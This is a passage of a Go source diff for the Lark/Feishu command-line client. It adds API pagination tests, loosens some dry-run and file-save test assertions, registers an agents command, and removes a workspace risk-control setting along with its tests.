output.FormatJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{
|
||||
PageLimit: 10,
|
||||
PageDelay: -1,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
t.Fatalf("apiPaginate() error = %v, want nil", err)
|
||||
}
|
||||
if calls != 3 {
|
||||
t.Fatalf("pagination requests = %d, want 3", calls)
|
||||
}
|
||||
assertAPIPaginateJSONBytes(t, out.Bytes(), output.Envelope{
|
||||
OK: true,
|
||||
Identity: "bot",
|
||||
Data: map[string]interface{}{
|
||||
"items": []interface{}{
|
||||
map[string]interface{}{"id": "1"},
|
||||
map[string]interface{}{"id": "2"},
|
||||
map[string]interface{}{"id": "3"},
|
||||
},
|
||||
"has_more": false,
|
||||
},
|
||||
})
|
||||
if got := errOut.String(); got != "" {
|
||||
t.Fatalf("stderr bytes = %q, want empty", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAPIPaginate_StreamingFormatsEmitExactMultiPageBytes(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
format output.Format
|
||||
want string
|
||||
}{
|
||||
{
|
||||
name: "ndjson",
|
||||
format: output.FormatNDJSON,
|
||||
want: "{\"id\":\"1\",\"name\":\"Alice\"}\n{\"id\":\"2\",\"name\":\"Carol\",\"page_only\":\"ignored\"}\n",
|
||||
},
|
||||
{
|
||||
name: "table",
|
||||
format: output.FormatTable,
|
||||
want: "id name \n── ─────\n1 Alice\n2 Carol\n",
|
||||
},
|
||||
{
|
||||
name: "csv",
|
||||
format: output.FormatCSV,
|
||||
want: "id,name\n1,Alice\n2,Carol\n",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/test/v1/items",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"msg": "ok",
|
||||
"data": map[string]interface{}{
|
||||
"items": []interface{}{
|
||||
map[string]interface{}{"id": "1", "name": "Alice"},
|
||||
},
|
||||
"has_more": true,
|
||||
"page_token": "next-1",
|
||||
},
|
||||
},
|
||||
})
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/test/v1/items",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"msg": "ok",
|
||||
"data": map[string]interface{}{
|
||||
"items": []interface{}{
|
||||
map[string]interface{}{"id": "2", "name": "Carol", "page_only": "ignored"},
|
||||
},
|
||||
"has_more": false,
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
|
||||
tt.format, "", out, errOut, "lark-cli api GET", client.PaginationOptions{
|
||||
PageLimit: 10,
|
||||
PageDelay: -1,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
t.Fatalf("apiPaginate() error = %v, want nil", err)
|
||||
}
|
||||
if got := out.String(); got != tt.want {
|
||||
t.Fatalf("stdout byte mismatch\ngot (%d bytes):\n%q\nwant (%d bytes):\n%q", len(got), got, len(tt.want), tt.want)
|
||||
}
|
||||
if got := errOut.String(); got != "" {
|
||||
t.Fatalf("stderr bytes = %q, want empty", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestAPIPaginate_StreamingWriteFailureStopsFurtherPages(t *testing.T) {
|
||||
ac, _, errOut, reg := newAPIPaginateTestHarness(t)
|
||||
sentinel := errors.New("page write failed")
|
||||
out := &apiFailOnWriteWriter{failAt: 2, err: sentinel}
|
||||
calls := 0
|
||||
for page := 1; page <= 2; page++ {
|
||||
hasMore := true
|
||||
data := map[string]interface{}{
|
||||
"items": []interface{}{map[string]interface{}{"id": page}},
|
||||
"has_more": hasMore,
|
||||
}
|
||||
if hasMore {
|
||||
data["page_token"] = fmt.Sprintf("next-%d", page)
|
||||
}
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/test/v1/items",
|
||||
OnMatch: func(*http.Request) {
|
||||
calls++
|
||||
},
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"msg": "ok",
|
||||
"data": data,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
|
||||
output.FormatNDJSON, "", out, errOut, "lark-cli api GET",
|
||||
client.PaginationOptions{PageLimit: 10, PageDelay: -1})
|
||||
|
||||
if !errors.Is(err, sentinel) {
|
||||
t.Fatalf("apiPaginate() error = %v, want preserved writer cause", err)
|
||||
}
|
||||
problem, ok := errs.ProblemOf(err)
|
||||
if !ok || problem.Category != errs.CategoryInternal {
|
||||
t.Fatalf("apiPaginate() problem = %#v, %v; want internal typed error", problem, ok)
|
||||
}
|
||||
if calls != 2 {
|
||||
t.Fatalf("pagination requests = %d, want 2", calls)
|
||||
}
|
||||
if got, want := out.buf.String(), "{\"id\":1}\n"; got != want {
|
||||
t.Fatalf("stdout bytes = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAPIPaginate_StreamingFormatFallsBackToJSONWithoutList(t *testing.T) {
|
||||
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/test/v1/items",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"msg": "ok",
|
||||
"data": map[string]interface{}{
|
||||
"name": "Test User",
|
||||
"user_id": "u123",
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
|
||||
output.FormatNDJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
|
||||
|
||||
if err != nil {
|
||||
t.Fatalf("apiPaginate() error = %v, want nil", err)
|
||||
}
|
||||
assertAPIPaginateJSONBytes(t, out.Bytes(), output.Envelope{
|
||||
OK: true,
|
||||
Identity: "bot",
|
||||
Data: map[string]interface{}{
|
||||
"name": "Test User",
|
||||
"user_id": "u123",
|
||||
},
|
||||
})
|
||||
wantWarning := "warning: this API does not return a list, format \"ndjson\" is not supported, falling back to json\n"
|
||||
if got := errOut.String(); got != wantWarning {
|
||||
t.Fatalf("stderr bytes = %q, want %q", got, wantWarning)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAPIPaginate_BusinessErrorsWriteRawAndAreMarkedRaw(t *testing.T) {
|
||||
businessResponse := map[string]interface{}{
|
||||
"code": 123456,
|
||||
"msg": "fixture business error",
|
||||
"data": map[string]interface{}{"detail": "business failed"},
|
||||
}
|
||||
tests := []struct {
|
||||
name string
|
||||
format output.Format
|
||||
jqExpr string
|
||||
}{
|
||||
{name: "jq", format: output.FormatJSON, jqExpr: ".data.items"},
|
||||
{name: "default_json", format: output.FormatJSON},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/test/v1/items",
|
||||
Body: businessResponse,
|
||||
})
|
||||
|
||||
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
|
||||
tt.format, tt.jqExpr, out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
|
||||
|
||||
if err == nil {
|
||||
t.Fatal("apiPaginate() error = nil, want business error")
|
||||
}
|
||||
if !errs.IsRaw(err) {
|
||||
t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
|
||||
}
|
||||
assertAPIPaginateJSONBytes(t, out.Bytes(), businessResponse)
|
||||
if bytes.Contains(out.Bytes(), []byte(`"ok": true`)) {
|
||||
t.Fatalf("business-error stdout contains a success envelope:\n%s", out.Bytes())
|
||||
}
|
||||
if got := errOut.String(); got != "" {
|
||||
t.Fatalf("stderr bytes = %q, want empty", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestAPIPaginate_TransportErrorsAreMarkedRaw(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
format output.Format
|
||||
jqExpr string
|
||||
}{
|
||||
{name: "jq_paginate_all", format: output.FormatJSON, jqExpr: ".data.items"},
|
||||
{name: "stream_pages", format: output.FormatNDJSON},
|
||||
{name: "default_paginate_all", format: output.FormatJSON},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
ac, out, errOut, _ := newAPIPaginateTestHarness(t)
|
||||
|
||||
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
|
||||
tt.format, tt.jqExpr, out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
|
||||
|
||||
if err == nil {
|
||||
t.Fatal("apiPaginate() error = nil, want transport error")
|
||||
}
|
||||
if !errs.IsRaw(err) {
|
||||
t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
|
||||
}
|
||||
if got := out.String(); got != "" {
|
||||
t.Fatalf("stdout bytes = %q, want empty", got)
|
||||
}
|
||||
if got := errOut.String(); got != "" {
|
||||
t.Fatalf("stderr bytes = %q, want empty", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestAPIPaginate_StreamBusinessErrorIsMarkedRaw(t *testing.T) {
|
||||
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/test/v1/items",
|
||||
Body: map[string]interface{}{
|
||||
"code": 123456,
|
||||
"msg": "fixture business error",
|
||||
"data": map[string]interface{}{},
|
||||
},
|
||||
})
|
||||
|
||||
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
|
||||
output.FormatNDJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
|
||||
|
||||
if err == nil {
|
||||
t.Fatal("apiPaginate() error = nil, want business error")
|
||||
}
|
||||
if !errs.IsRaw(err) {
|
||||
t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
|
||||
}
|
||||
if got := out.String(); got != "" {
|
||||
t.Fatalf("stdout bytes = %q, want empty", got)
|
||||
}
|
||||
if got := errOut.String(); got != "" {
|
||||
t.Fatalf("stderr bytes = %q, want empty", got)
|
||||
}
|
||||
}
|
||||
@@ -69,7 +69,7 @@ func TestApiCmd_FlagParsing(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestApiCmd_DryRun(t *testing.T) {
|
||||
f, stdout, stderr, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
@@ -79,42 +79,12 @@ func TestApiCmd_DryRun(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
var got map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
|
||||
t.Fatalf("dry-run stdout is not JSON: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String())
|
||||
output := stdout.String()
|
||||
if !strings.Contains(output, "Dry Run") {
|
||||
t.Error("expected dry run output")
|
||||
}
|
||||
if got["ok"] != true || got["identity"] != "bot" || got["dry_run"] != true {
|
||||
t.Fatalf("unexpected dry-run envelope: %#v", got)
|
||||
}
|
||||
data, ok := got["data"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data = %#v, want object", got["data"])
|
||||
}
|
||||
api, ok := data["api"].([]interface{})
|
||||
if !ok || len(api) != 1 {
|
||||
t.Fatalf("api = %#v, want one call", data["api"])
|
||||
}
|
||||
call, ok := api[0].(map[string]interface{})
|
||||
if !ok || call["url"] != "/open-apis/test" {
|
||||
t.Fatalf("api[0] = %#v", api[0])
|
||||
}
|
||||
if strings.Contains(stdout.String(), "=== Dry Run ===") {
|
||||
t.Fatalf("stdout should not contain dry-run banner: %s", stdout.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestApiCmd_DryRunWithJq(t *testing.T) {
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
cmd := newTestApiCmd(f, nil)
|
||||
cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--dry-run", "--jq", ".data.api[0].url"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if got := strings.TrimSpace(stdout.String()); got != "/open-apis/test" {
|
||||
t.Fatalf("jq output = %q, want /open-apis/test", got)
|
||||
if !strings.Contains(output, "/open-apis/test") {
|
||||
t.Error("expected path in dry run output")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -182,22 +152,6 @@ func TestApiCmd_MissingArgs(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestApiCmd_EmptyMethodRejected(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
cmd := newTestApiCmd(f, nil)
|
||||
cmd.SetArgs([]string{"", "/open-apis/test", "--as", "bot", "--dry-run"})
|
||||
err := cmd.Execute()
|
||||
if err == nil {
|
||||
t.Fatal("expected validation error for empty HTTP method")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "method") {
|
||||
t.Fatalf("error should name the method argument, got: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApiCmd_InvalidParamsJSON(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
@@ -352,9 +306,6 @@ func TestApiCmd_OutputAndPageAllConflict(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestApiCmd_BinaryResponse_AutoSave(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cmdutil.TestChdir(t, dir)
|
||||
|
||||
f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app-bin", AppSecret: "test-secret-bin", Brand: core.BrandFeishu,
|
||||
})
|
||||
@@ -374,33 +325,8 @@ func TestApiCmd_BinaryResponse_AutoSave(t *testing.T) {
|
||||
if !strings.Contains(stderr.String(), "binary response detected") {
|
||||
t.Error("expected binary response hint in stderr")
|
||||
}
|
||||
var got map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
|
||||
t.Fatalf("stdout is not JSON: %v\nstdout:\n%s", err, stdout.String())
|
||||
}
|
||||
savedPath, _ := got["saved_path"].(string)
|
||||
if savedPath == "" {
|
||||
t.Fatalf("saved_path missing from output: %#v", got)
|
||||
}
|
||||
// The file must land inside the temporary cwd — this pins the isolation
|
||||
// contract: rolling back TestChdir would leave download.bin in the repo.
|
||||
wantDir, err := filepath.EvalSymlinks(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
gotDir, err := filepath.EvalSymlinks(filepath.Dir(savedPath))
|
||||
if err != nil {
|
||||
t.Fatalf("saved_path %q dir not resolvable: %v", savedPath, err)
|
||||
}
|
||||
if gotDir != wantDir {
|
||||
t.Errorf("saved_path %q is outside temp cwd %q", savedPath, wantDir)
|
||||
}
|
||||
content, err := os.ReadFile(savedPath)
|
||||
if err != nil {
|
||||
t.Fatalf("read saved file: %v", err)
|
||||
}
|
||||
if string(content) != "fake-binary-content" {
|
||||
t.Errorf("saved file content = %q, want %q", content, "fake-binary-content")
|
||||
if !strings.Contains(stdout.String(), "saved_path") {
|
||||
t.Error("expected saved_path in output")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1074,23 +1000,11 @@ func TestApiCmd_DryRunWithFile(t *testing.T) {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
out := stdout.String()
|
||||
var env map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
|
||||
t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, out)
|
||||
if !strings.Contains(out, "image") {
|
||||
t.Errorf("expected dry-run output to mention file field, got: %s", out)
|
||||
}
|
||||
if env["dry_run"] != true {
|
||||
t.Fatalf("dry_run = %#v, want true", env["dry_run"])
|
||||
}
|
||||
data := env["data"].(map[string]interface{})
|
||||
api := data["api"].([]interface{})
|
||||
call := api[0].(map[string]interface{})
|
||||
body := call["body"].(map[string]interface{})
|
||||
file := body["file"].(map[string]interface{})
|
||||
if file["field"] != "image" || file["path"] != tmpFile {
|
||||
t.Fatalf("unexpected file dry-run body: %#v", body)
|
||||
}
|
||||
if strings.Contains(out, "=== Dry Run ===") {
|
||||
t.Fatalf("stdout should not contain dry-run banner: %s", out)
|
||||
if !strings.Contains(out, "Dry Run") {
|
||||
t.Errorf("expected dry-run header, got: %s", out)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -128,5 +128,5 @@ func getLoginMsg(lang i18n.Lang) *loginMsg {
|
||||
// (not backed by from_meta service specs). Descriptions are now centralized in
|
||||
// service_descriptions.json.
|
||||
func getShortcutOnlyDomainNames() []string {
|
||||
return []string{"application", "base", "contact", "docs", "markdown", "apps", "note"}
|
||||
return []string{"base", "contact", "docs", "markdown", "apps", "note"}
|
||||
}
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package auth
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/internal/registry/registrytest"
|
||||
)
|
||||
|
||||
// TestMain isolates auth command tests from the host machine: config, logs
|
||||
// and the registry cache are redirected to a temp dir, then the registry is
|
||||
// seeded from the tracked fixture and initialized eagerly. Domain-completion
|
||||
// tests read the registry, so without seeding a clean checkout would either
|
||||
// fail or trigger a remote metadata fetch.
|
||||
//
|
||||
// Note: os.Exit skips deferred functions, so cleanup runs explicitly after
|
||||
// m.Run before exiting.
|
||||
func TestMain(m *testing.M) {
|
||||
root, err := os.MkdirTemp("", "lark-cli-cmd-auth-test-*")
|
||||
if err != nil {
|
||||
println("cmd/auth test setup: MkdirTemp failed:", err.Error())
|
||||
os.Exit(2)
|
||||
}
|
||||
if err := os.Setenv("LARKSUITE_CLI_CONFIG_DIR", filepath.Join(root, "config")); err != nil {
|
||||
println("cmd/auth test setup: Setenv failed:", err.Error())
|
||||
os.RemoveAll(root)
|
||||
os.Exit(2)
|
||||
}
|
||||
if err := os.Setenv("LARKSUITE_CLI_LOG_DIR", filepath.Join(root, "logs")); err != nil {
|
||||
println("cmd/auth test setup: Setenv failed:", err.Error())
|
||||
os.RemoveAll(root)
|
||||
os.Exit(2)
|
||||
}
|
||||
if err := registrytest.Seed(root); err != nil {
|
||||
println("cmd/auth test setup: registrytest.Seed failed:", err.Error())
|
||||
os.RemoveAll(root)
|
||||
os.Exit(2)
|
||||
}
|
||||
code := m.Run()
|
||||
_ = os.RemoveAll(root)
|
||||
os.Exit(code)
|
||||
}
|
||||
@@ -8,6 +8,8 @@ import (
|
||||
"io"
|
||||
"io/fs"
|
||||
|
||||
_ "github.com/larksuite/cli/agents"
|
||||
"github.com/larksuite/cli/cmd/agents"
|
||||
"github.com/larksuite/cli/cmd/api"
|
||||
"github.com/larksuite/cli/cmd/auth"
|
||||
"github.com/larksuite/cli/cmd/completion"
|
||||
@@ -222,6 +224,7 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
|
||||
rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
|
||||
rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
|
||||
rootCmd.AddCommand(skill.NewCmdSkill(f))
|
||||
rootCmd.AddCommand(agents.NewCmdAgents(f))
|
||||
if !cfg.skipService {
|
||||
if cfg.serviceCatalog != nil {
|
||||
service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)
|
||||
|
||||
@@ -31,7 +31,6 @@ func NewCmdConfig(f *cmdutil.Factory) *cobra.Command {
|
||||
cmd.AddCommand(NewCmdConfigShow(f, nil))
|
||||
cmd.AddCommand(NewCmdConfigDefaultAs(f))
|
||||
cmd.AddCommand(NewCmdConfigStrictMode(f))
|
||||
cmd.AddCommand(NewCmdConfigRiskControl(f))
|
||||
cmd.AddCommand(NewCmdConfigPolicy(f))
|
||||
cmd.AddCommand(NewCmdConfigPlugins(f))
|
||||
cmd.AddCommand(NewCmdConfigKeychainDowngrade(f))
|
||||
|
||||
@@ -1,80 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package config
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// NewCmdConfigRiskControl creates the workspace risk-control policy command.
|
||||
func NewCmdConfigRiskControl(f *cmdutil.Factory) *cobra.Command {
|
||||
cmd := &cobra.Command{
|
||||
Use: "risk-control [on|off|default]",
|
||||
Short: "Manage workspace account-protection policy",
|
||||
Long: `View or set the account-protection risk-control policy for this workspace.
|
||||
|
||||
Account protection is on by default. Use off to opt this workspace out, on to
|
||||
opt it back in explicitly, or default to remove the explicit preference.`,
|
||||
Args: cobra.MaximumNArgs(1),
|
||||
// This is persistent workspace policy, not credential management.
|
||||
PersistentPreRunE: func(cmd *cobra.Command, _ []string) error {
|
||||
cmd.SilenceUsage = true
|
||||
return nil
|
||||
},
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
config, err := core.LoadOrNotConfigured()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(args) == 0 {
|
||||
printRiskControl(f, config)
|
||||
return nil
|
||||
}
|
||||
|
||||
switch args[0] {
|
||||
case "on":
|
||||
enabled := true
|
||||
config.RiskControl = &enabled
|
||||
case "off":
|
||||
enabled := false
|
||||
config.RiskControl = &enabled
|
||||
case "default":
|
||||
config.RiskControl = nil
|
||||
default:
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"invalid risk-control value %q, valid values: on | off | default", args[0])
|
||||
}
|
||||
|
||||
if err := core.SaveMultiAppConfig(config); err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeStorage,
|
||||
"failed to save risk-control policy: %v", err).WithCause(err)
|
||||
}
|
||||
fmt.Fprintf(f.IOStreams.ErrOut, "Risk control set to %s (workspace)\n", args[0])
|
||||
return nil
|
||||
},
|
||||
}
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
|
||||
return cmd
|
||||
}
|
||||
|
||||
func printRiskControl(f *cmdutil.Factory, config *core.MultiAppConfig) {
|
||||
source := "default"
|
||||
if config.RiskControl != nil {
|
||||
source = "workspace"
|
||||
}
|
||||
fmt.Fprintf(f.IOStreams.Out, "risk-control: %s (source: %s)\n", riskControlState(config.RiskControlEnabled()), source)
|
||||
}
|
||||
|
||||
func riskControlState(enabled bool) string {
|
||||
if enabled {
|
||||
return "on"
|
||||
}
|
||||
return "off"
|
||||
}
|
||||
@@ -1,130 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package config
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
func TestRiskControlWorkspacePolicy(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
config := &core.MultiAppConfig{Apps: []core.AppConfig{{
|
||||
AppId: "cli_test", AppSecret: core.PlainSecret("secret"), Brand: core.BrandFeishu,
|
||||
}}}
|
||||
if err := core.SaveMultiAppConfig(config); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
|
||||
cmd := NewCmdConfigRiskControl(f)
|
||||
cmd.SetArgs([]string{"off"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("set off: %v", err)
|
||||
}
|
||||
loaded, err := core.LoadMultiAppConfig()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if loaded.RiskControl == nil || *loaded.RiskControl {
|
||||
t.Fatalf("RiskControl = %v, want explicit false", loaded.RiskControl)
|
||||
}
|
||||
if !strings.Contains(stderr.String(), "set to off") {
|
||||
t.Fatalf("stderr = %q", stderr.String())
|
||||
}
|
||||
|
||||
stdout.Reset()
|
||||
cmd = NewCmdConfigRiskControl(f)
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("show: %v", err)
|
||||
}
|
||||
if got := stdout.String(); got != "risk-control: off (source: workspace)\n" {
|
||||
t.Fatalf("stdout = %q", got)
|
||||
}
|
||||
|
||||
cmd = NewCmdConfigRiskControl(f)
|
||||
cmd.SetArgs([]string{"on"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("set on: %v", err)
|
||||
}
|
||||
loaded, err = core.LoadMultiAppConfig()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if loaded.RiskControl == nil || !*loaded.RiskControl {
|
||||
t.Fatalf("RiskControl = %v, want explicit true", loaded.RiskControl)
|
||||
}
|
||||
|
||||
cmd = NewCmdConfigRiskControl(f)
|
||||
cmd.SetArgs([]string{"default"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("reset default: %v", err)
|
||||
}
|
||||
loaded, err = core.LoadMultiAppConfig()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if loaded.RiskControl != nil {
|
||||
t.Fatalf("RiskControl = %v, want nil", loaded.RiskControl)
|
||||
}
|
||||
|
||||
stdout.Reset()
|
||||
cmd = NewCmdConfigRiskControl(f)
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("show default: %v", err)
|
||||
}
|
||||
if got := stdout.String(); got != "risk-control: on (source: default)\n" {
|
||||
t.Fatalf("stdout = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRiskControlWorkspacePolicyRejectsInvalidValue(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
if err := core.SaveMultiAppConfig(&core.MultiAppConfig{Apps: []core.AppConfig{{
|
||||
AppId: "cli_test", AppSecret: core.PlainSecret("secret"), Brand: core.BrandFeishu,
|
||||
}}}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
cmd := NewCmdConfigRiskControl(f)
|
||||
cmd.SetArgs([]string{"invalid"})
|
||||
err := cmd.Execute()
|
||||
var validationErr *errs.ValidationError
|
||||
if !errors.As(err, &validationErr) {
|
||||
t.Fatalf("error = %T %v, want *errs.ValidationError", err, err)
|
||||
}
|
||||
if validationErr.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype = %q, want %q", validationErr.Subtype, errs.SubtypeInvalidArgument)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRiskControlWorkspacePolicyAllowedWithExternalCredentials(t *testing.T) {
|
||||
f := newConfigFactoryWithExternalProvider(t)
|
||||
config := &core.MultiAppConfig{Apps: []core.AppConfig{{
|
||||
AppId: "cli_test", AppSecret: core.PlainSecret("secret"), Brand: core.BrandFeishu,
|
||||
}}}
|
||||
if err := core.SaveMultiAppConfig(config); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
cmd := NewCmdConfig(f)
|
||||
cmd.SetArgs([]string{"risk-control", "off"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("set off with external credentials: %v", err)
|
||||
}
|
||||
|
||||
loaded, err := core.LoadMultiAppConfig()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if loaded.RiskControl == nil || *loaded.RiskControl {
|
||||
t.Fatalf("RiskControl = %v, want explicit false", loaded.RiskControl)
|
||||
}
|
||||
}
|
||||
@@ -17,8 +17,6 @@ import (
|
||||
|
||||
func TestEventLookup_VCMeetingLifecycleKeys(t *testing.T) {
|
||||
for _, key := range []string{
|
||||
"approval.instance.status_changed_v4",
|
||||
"approval.task.status_changed_v4",
|
||||
"vc.meeting.participant_meeting_started_v1",
|
||||
"vc.meeting.participant_meeting_joined_v1",
|
||||
} {
|
||||
@@ -38,8 +36,6 @@ func TestRunList_TextOutput(t *testing.T) {
|
||||
out := stdout.String()
|
||||
for _, want := range []string{
|
||||
"KEY", "AUTH", "PARAMS", "DESCRIPTION",
|
||||
"approval.instance.status_changed_v4",
|
||||
"approval.task.status_changed_v4",
|
||||
"im.message.receive_v1",
|
||||
"im.message.message_read_v1",
|
||||
"task.task.update_user_access_v2",
|
||||
@@ -94,8 +90,6 @@ func TestRunList_JSONOutput(t *testing.T) {
|
||||
t.Fatal("event list JSON missing task.task.update_user_access_v2")
|
||||
}
|
||||
for _, want := range []string{
|
||||
"approval.instance.status_changed_v4",
|
||||
"approval.task.status_changed_v4",
|
||||
"vc.meeting.participant_meeting_started_v1",
|
||||
